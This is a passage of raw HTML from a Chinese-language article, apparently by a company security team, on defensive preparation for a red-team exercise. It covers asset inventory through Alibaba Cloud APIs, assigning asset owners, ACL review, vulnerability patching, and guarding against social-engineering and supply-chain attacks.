&#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">硬件资产主要包括机房设备、网络设备、安全设备、办公网区设备等，这类资产一般涉及到多支团队，需要耗费大量人力投入去梳理。这里需要注意的外采设备的梳理，不论是外采的“盒子”还是私有化部署到服务器上的设备，都要收集到，比如VPN、APT威胁检测设备等，这类设备如果出现漏洞被攻击，比业务主机被拿下的风险还要大。</span></p><p cid="n29" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">软件资产主要包括域名、IP、机器、应用等，我们的业务全部上了阿里云，阿里云有完整的API接口可以实现资产的拉取。结合业务使用的云产品，通过阿里云API接口可以基本可以实现云上资产的梳理。</span></p><ul class="list-paddingleft-1" cid="n30" mdtype="list" data-mark="-" style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 30px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><li style="box-sizing: border-box;margin: 0px;"><p cid="n32" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">域名资产：如果使用了阿里云“云解析”产品，可通过</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">DescribeDomains</span></span><span md-inline="plain" style="box-sizing: border-box;">接口获取所有域名，再通过</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">DescribeDomainRecords</span></span><span md-inline="plain" style="box-sizing: border-box;">接口获取所有子域名。</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">IP资产：由于我们的网络架构问题，主要关注负载均衡SLB和弹性公网EIP，SLB可通过</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">DescribeLoadBalancers</span></span><span md-inline="plain" style="box-sizing: border-box;">接口获取所有SLB实例，EIP可以通过</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">DescribeEipAddresses</span></span><span md-inline="plain" style="box-sizing: border-box;">接口获取。</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">应用：阿里云上所有ECS都装了安骑士和态势感知的Agent，可以很方便的取得完整机器列表和IP列表，甚至包括端口开放情况、中间件和版本情况。另外态势感知也会基于中间件版本来匹配已公开漏洞，进行漏洞扫描。</span></p></li></ul><p cid="n37" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">还有一部分资产是“人”，梳理人的资产基本找HR就能拿到全集，梳理这部分数据是为了做后续的安全意识培训和钓鱼演练。</span></p><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">我们第一步花了大量的精力去梳理资产，最终得到了一张公司资产大图，下一步我们要做一件更加痛苦的事情，</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">明确资产责任人和安全责任人</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">。</span></p><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">一般运维团队会有CMDB系统协助我们完成很多资产的归属，但仍有一大部分需要人力推动去确认。如果这里的工作进展的极其痛苦，那么说明日常的安全流程建设，还是有很大的提升空间。如何提升我们在最后的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">5.2运营机制优化</code></span><span md-inline="plain" style="box-sizing: border-box;">部分细聊。</span></p><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">完成资产梳理工作后，我们就可以正式进入安全自查阶段了。当然，部分已知的安全问题是可以和资产梳理工作同步进行的。</span></p><h3 cid="n41" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.2 生产网安全</span></h3><p cid="n42" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">生产网安全部分主要分为应用安全、系统网络安全、数据和权限安全三大类。</span></p><h4 cid="n43" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.2.1 应用安全</span></h4><p cid="n44" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">应用安全主要围绕漏洞管理和安全方案展开，主要目标是保障生产和测试环境完成安全加固，通过红队渗透测试验收。这里列几个重点工作方向供大家参考。</span></p><h5 cid="n45" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">漏洞修复</span></h5><p cid="n46" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">已知漏洞修复（含日常SDL检出的漏洞、渗透测试发现的漏洞及其他漏洞）</span></p><h5 cid="n47" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">封网和需求安全评审</span></h5><p cid="n48" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">演习期间要进行封网，演习期间原则上不允许上线新业务。应用安全团队要积极与产研梳理演习期间要上线的业务，该业务改动较大，安全风险比较大的，建议推迟到演习后上线。</span></p><h5 cid="n49" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">安全能力覆盖率排查</span></h5><p cid="n50" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">如SDL卡点、白盒扫描、RASP、WAF、安全Agent等安全能力的覆盖率，若未覆盖全的需在演习前覆盖完毕并做好安全检查。</span></p><h5 cid="n51" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">内部高风险系统安全排查</span></h5><p cid="n52" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">内部高风险系统进行重点安全评估，如运维系统、安全、客服系统。这类系统如果被入侵，通常具有较大权限，甚至可以直接控制线上所有资产。</span></p><h5 cid="n53" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">社会工程学攻击防范</span></h5><p cid="n54" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">因为演习的规则是允许一定程度的社会工程学攻击的，比如钓鱼邮件、客服系统的攻击，都是比较高频的攻击手法。我们可以考虑在演习期间做一定程度的加固，比如禁止邮箱服务接受外域邮件、客服系统关闭文件上传通道、客服系统超链接点开前二次确认等。</span></p><h5 cid="n55" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">供应链攻击防范</span></h5><p cid="n56" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">这里包含软件供应链以及生态公司、合作伙伴等，软件供应链主要是检查系统耦合的一些第三方包/库是否安全。对于在网络上存在耦合的合作伙伴和生态公司一方面是要求对方做好加固和值守准备，另一方面是要做好切断合作伙伴与本业务网络通道的应急预案。</span></p><h4 cid="n57" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">3.2.2 系统网络安全</span></h4><p cid="n58" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">系统网络主要围绕网络边界、访问控制、认证鉴权、主机安全展开。主要目标是确保生产环境、测试环境、预发环境以及办公网的网络安全。列几个重点工作方向供大家参考。</span></p><h5 cid="n59" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">网络隔离排查</span></h5><p cid="n60" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">网络隔离检查主要两方面，一是边界对外开放情况的摸排，确保内部系统都正确设置了ACL且没有开放过大的情况（比如将内部系统开放给某个大B段）。ACL排查的效果首先取决于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">3.1 梳理资产</code></span><span md-inline="plain" style="box-sizing: border-box;">部分梳理的资产是否完整。二是内部网络区域划分检查，不要出现“一张网”的情况，防止攻击者突破边界后可直接访问到核心业务系统。</span></p><p cid="n61" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">ACL排查主要分为两类，一是域名对外开放的情况排查，二是主机对外开放的排查。我司的安全架构设计的比较严格，所有的主机（ECS）禁止配置弹性公网IP，所有对外开放必须通过SLB，我们通过拉取SLB资产的配置信息即可拿到全部的ACL策略。域名通过拉取WAF/SLB即可拿到所有的ACL策略。所以我们的主要工作都在检查策略上。</span></p><p cid="n62" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">检查ACL策略可以先指定一些黑名单，比如对外开放设置为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">*</code></span><span md-inline="plain" style="box-sizing: border-box;">的，必然需要与业务方确认进行更细力度的设置。设置为大B段的同理。黑名单可以筛掉一大部分异常的ACL规则，白名单的只能逐步与业务方确认。</span></p><h5 cid="n63" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">主机/终端高危漏洞修复</span></h5><p cid="n64" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">这里主要关注服务器上可被利用的RCE漏洞，未授权漏洞，主要是为了防止黑客利用这些漏洞突破边界，即便被突破，也可以增加横向移动的攻击成本。</span></p><p cid="n65" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">如果企业有安装安全Agent，大概率会有主机漏洞扫描的能力，阿里云用户可以使用态势感知进行漏洞扫描，确定要修复的漏洞种类和机器，甚至可以一键修复。当然，修复是有稳定性影响的，需要和运维、研发定好策略，做好备份，按批次修复。</span></p><h5 cid="n66" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span md-inline="plain" style="box-sizing: border-box;">系统弱口令和未授权风险排查</span></h5><p cid="n67" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 